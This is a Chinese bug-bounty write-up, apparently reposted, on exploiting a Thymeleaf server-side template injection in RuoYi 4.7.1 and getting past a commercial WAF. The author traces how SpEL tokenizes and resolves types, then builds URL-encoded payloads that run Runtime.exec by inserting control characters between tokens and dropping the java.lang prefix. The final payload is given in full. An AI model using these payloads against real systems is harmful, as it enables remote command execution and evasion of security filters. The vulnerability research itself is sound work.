前几天挖src,遇到4.7.1版本的若依系统https://github.com/yangzongzhuan/RuoYi-fast ,此版本存在 Thymeleaf SSTI
注入漏洞,但网上流传的 payload
被玄某盾拦截,漏洞无法利用,于是跟了下 Thymeleaf SSTI
触发的源码, Thymeleaf SSTI
底层触发 SpEL
注入,分析 SpEL
的解析与执行过程。最终成功绕过玄某盾,并获取SRC奖金。
目标环境
在src真实目标下,在网上找了几个payload: fragment=${T%20(java.lang.Runtime).getRuntime().exec('command')}
或者 fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
都会被玄某盾拦截,由于站点在维护中,因此只能使用下图来说明....
经过测试,玄某盾会对以下payload进行拦截:
fragment=${}
:检测了${}
,但使用__${}__::.x
,玄某盾不拦截fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
关键点在于T%20(java.lang.Runtime).getRuntime().exec('calc')
如何绕过玄某盾,而这段内容又是SpEL
表达式。因此本文的重点在于SpEL
表达式的绕过。
Thymeleaf SSTI与SpEL的关系
若对 Thymeleaf SSTI
不是很懂,可以先去了解下,传送门:
-
https://www.cnpanda.net/sec/1063.html
由于本文讲述是如何绕过玄某盾,因此先直接给出原始payload:
fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
上述的payload
已经是对Thymeleaf 3.0.12
的绕过,
而绕过的方式,也被运用于绕过玄某盾。
Thymeleaf SSTI
漏洞的底层实际出发的是SpEL表达式注入漏洞,在原始payload
中的T%20(java.lang.Runtime).getRuntime().exec('calc')
便是SpEL
表达式
具体分析如下:
org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator#getExpression
而后来到
org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator#evaluate
,执行如下
getValue
方法
上述几个红色标记处是很标准的 SpEL-API
调用,来执行 SpEL
表达式。我的绕过方式便是在 SpEL
表达式解析及执行过程中发现的,具体如下。
测试环境
springboot 2.7.1+jdk8
关于SpEL的测试代码如下:
解析过程中的发现
进入 org.springframework.expression.spel.standard.InternalSpelExpressionParser#doParseExpression
方法。
跟进
org.springframework.expression.spel.standard.Tokenizer#Tokenizer
可以看到在SpEL表达式最后添加了个空白字符,用来标记SpEL表达式的结束,
接着跟进
org.springframework.expression.spel.standard.Tokenizer#process
方法
此方法整体逻辑:以字符为单位遍历表达式内容,若当前字符为
a-z
或者
A-Z
,则执行
lexIdentifier
方法,在
lexIdentifier
方法中,继续遍历表达式内容,直到遍历到的字符不是
a-z A-Z、0-9、_、$
结束此次遍历,并将此次遍历的所有字符封装在
Token
对象中,最后存储
List<Token> tokens
中。否则走
else
分支
在
else
分支中,若遇到
\u0000
、
\r
、
\n
、
\t
、
``不做任何处理,直接跳出 switch
语句,并进入下一个字符的判断
\u0000
、
\r
、
\n
、
\t
、
`` 5个字符的 url
编码如下
因此, T%20(java.lang.Runtime).getRuntime().exec('calc')
可以修改为
T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
仍然生效
访问测试环境:http://localhost:9898/index?s=T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)
成功弹出计算器
执行过程中的发现
在 payload
中 SpEL
表达式以 T
开头, T
对应的类为 org.springframework.expression.spel.ast.TypeReference
跟入 org.springframework.expression.spel.ast.TypeReference#getValueInternal
方法,根据字符串 typeName
获取对应的 Class
对象实例
继续跟入
org.springframework.expression.spel.ExpressionState#findType
,发现通过
SpEL
表达式上下文对象去寻找
typeName
对应的
Class
对象实例
在 Thymeleaf
中,此时默认的 SpEL
上下文对象为 org.thymeleaf.spring5.expression.ThymeleafEvaluationContext
对象实例,可看到继承 org.springframework.expression.spel.support.StandardEvaluationContext
对象,而 StandardEvaluationContext
支持 type references
,具体可看官方文档:https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions-evaluation-context
接着跟入 org.springframework.expression.spel.support.StandardEvaluationContext#getTypeLocator
,发现默认使用 StandardTypeLocator
进入
org.springframework.expression.spel.support.StandardTypeLocator#StandardTypeLocator()
构造方法
继续跟进
org.springframework.expression.spel.support.StandardTypeLocator#registerImport
发现
java.lang
被添加到
knownPackagePrefixes
集合中
初始化
StandardTypeLocator
对象后,会调用
org.springframework.expression.spel.support.StandardTypeLocator#findType
方法,可以发现此方法在异常出现时进行了一次补救:当通过
typeName
没有找到对应的
Class
对象时,则拼接前缀
java.lang
后继续获取对应的
Class
对象。
因此 T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
可以修改为
T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
仍然会生效。
http://localhost:9898/index?s=T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec(%27calc%27)
成功弹出计算器
返回目标环境
讲过上文的分析,SpEL的payload的演变如下:
T%20(java.lang.Runtime).getRuntime().exec('calc')
-> T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
-> T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
因此最终 Thymeleaf SSTI
的payload如下:
__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
本文主要站在SpEL的角度,构造payload使 Thymeleaf SSTI
注入绕过玄某盾waf,其实也可以说是 SpEL
注入绕过玄某盾 waf
,至于其他 waf
产品,均未测试,有条件的同志们可以去测试一下~。
来源:先知(https://xz.aliyun.com/t/11509#toc-0)
如有侵权,请联系删除
推荐阅读
查看更多精彩内容,还请关注 橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看 ”